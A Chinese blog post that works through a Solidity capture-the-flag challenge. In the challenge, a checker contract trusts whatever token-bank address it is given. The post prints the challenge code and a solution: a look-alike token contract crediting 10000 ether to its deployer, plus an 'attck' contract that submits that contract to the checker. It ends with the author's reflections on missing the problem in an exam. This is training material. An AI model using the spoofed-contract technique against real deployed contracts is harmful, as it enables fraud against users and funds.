39.缺少联系合约
2023-06-23 20:22:31 # 00.security

缺少联系合约

题目

要求:check合约获得100分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract tokenbank{
address public owner;
mapping(address => uint256) private balance;

constructor(address _owner){
owner = _owner;
balance[owner] += 1000 ether;
}

modifier onlyOwner{
require(msg.sender==owner,"onlyowner");
_;
}

function deposit()public payable{
require(msg.value > 0,"are you kidding me?");
balance[msg.sender]+=msg.value;
}

function withdraw(uint256 amount)public payable{
require(balance[msg.sender] >= amount);
balance[msg.sender]-=amount;
payable(msg.sender).transfer(amount);
}

function transfer(address _addr,uint256 amount)public{
require(balance[msg.sender]>=amount);
require(msg.sender!=_addr);
balance[msg.sender]-=amount;
balance[_addr]+=amount;
}

function balanceOf(address _addr)public view returns(uint256){
return balance[_addr];
}

function mint(address _addr,uint256 amount)public onlyOwner{
balance[_addr]+=amount;
}

function burn(address _addr,uint256 amount)public onlyOwner{
balance[_addr]-=amount;
}
}
contract check{
uint256 public score;

constructor(){
tokenbank bank = tokenbank(address(this));//?????
}

function isCompleted(address _bank)public{
score=0;

if(tokenbank(_bank).balanceOf(address(this))==0){
score+=25;
}

if(tokenbank(_bank).owner()==address(this) && tokenbank(_bank).balanceOf(msg.sender) >= 10000 ether){
score+=75;
}

}

}

分析

考点:可控地址的外部合约调用

代码量比较少,check合约的isComplete()方法,会调用一个外部地址的balanceOf方法和owner()方法,但是它并没有任何限定性条件说是tokenbank合约。这就体现了check的外部合约调用可控,然后我们就可以输入任意合约

意思是:check合约并没有确定指定的合约,这样的话我们就可以不用题目的,另外写。漏洞是外部不可控合约 ,check合约期望的合约跟实际的不一样

解题:部署一个和题目差不多一致的合约代码,仅仅在构造器中做一点修改,把1000ETH改成10000ETH,然后部署合约即可

做题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract tokenbank{
address public owner;
mapping(address => uint256) private balance;

constructor(address _owner){
owner = _owner;
balance[owner] += 1000 ether;
}

modifier onlyOwner{
require(msg.sender==owner,"onlyowner");
_;
}

function deposit()public payable{
require(msg.value > 0,"are you kidding me?");
balance[msg.sender]+=msg.value;
}

function withdraw(uint256 amount)public payable{
require(balance[msg.sender] >= amount);
balance[msg.sender]-=amount;
payable(msg.sender).transfer(amount);
}

function transfer(address _addr,uint256 amount)public{
require(balance[msg.sender]>=amount);
require(msg.sender!=_addr);
balance[msg.sender]-=amount;
balance[_addr]+=amount;
}

function balanceOf(address _addr)public view returns(uint256){
return balance[_addr];
}

function mint(address _addr,uint256 amount)public onlyOwner{
balance[_addr]+=amount;
}

function burn(address _addr,uint256 amount)public onlyOwner{
balance[_addr]-=amount;
}
}
contract check{
uint256 public score;

constructor(){
tokenbank bank = tokenbank(address(this));//?????
}

function isCompleted(address _bank)public{
score=0;

if(tokenbank(_bank).balanceOf(address(this))==0){
score+=25;
}

if(tokenbank(_bank).owner()==address(this) && tokenbank(_bank).balanceOf(msg.sender) >= 10000 ether){
score+=75;
}

}

}

contract tokenbank2{
address public owner;
mapping(address => uint256)private balance;
constructor(address _owner){
owner = _owner;
balance[msg.sender]+=10000 ether;
}

modifier onlyOwner{
require(msg.sender==owner,"onlyowner");

_;
}

function deposit()public payable{
require(msg.value>0,"are you kidding me?");
balance[msg.sender]+=msg.value;
}

function withdraw(uint256 amount)public payable{
require(balance[msg.sender]>=amount);
balance[msg.sender]-=amount;
payable(msg.sender).transfer(amount);
}

function transfer(address _addr,uint256 amount)public{
require(balance[msg.sender]>=amount);
require(msg.sender!=_addr);
balance[msg.sender]-=amount;
balance[_addr]+=amount;
}
function balanceOf(address _addr)public view returns(uint256){
return balance[_addr];
}

function mint(address _addr,uint256 amount)public onlyOwner{
balance[_addr]+=amount;
}

function burn(address _addr,uint256 amount)public onlyOwner{
balance[_addr]-=amount;
}

function transferOwnership(address _addr)public onlyOwner{
owner = _addr;
}

}

contract attck{
check to;
tokenbank2 to2 ;
constructor(address _tokenbank)public{
to = check(_tokenbank);
to2 = new tokenbank2(_tokenbank);
}

function complete()public{
to.isCompleted(address(to2));
}
}

反思

考核的时候,这是第一道题,然而却没有做出来,非常地懊恼!让我来分析一下我当时的思路:

  1. 我一直在想是不是通过owner来mint代币
  2. 然后转移owner身份
  3. 搞不来,就delegatecall和call。也不行,就想构造器中攻击,利用create2提前计算地址来部署

就一直没想到这个外部合约调用是可控的,之前也没有遇到过这类的题目,从来不知道有这种漏洞,算是学到了全新的东西。所以说,我还是很多东西不会,还需要看很多东西,学习很多

Prev
2023-06-23 20:22:31 # 00.security
Next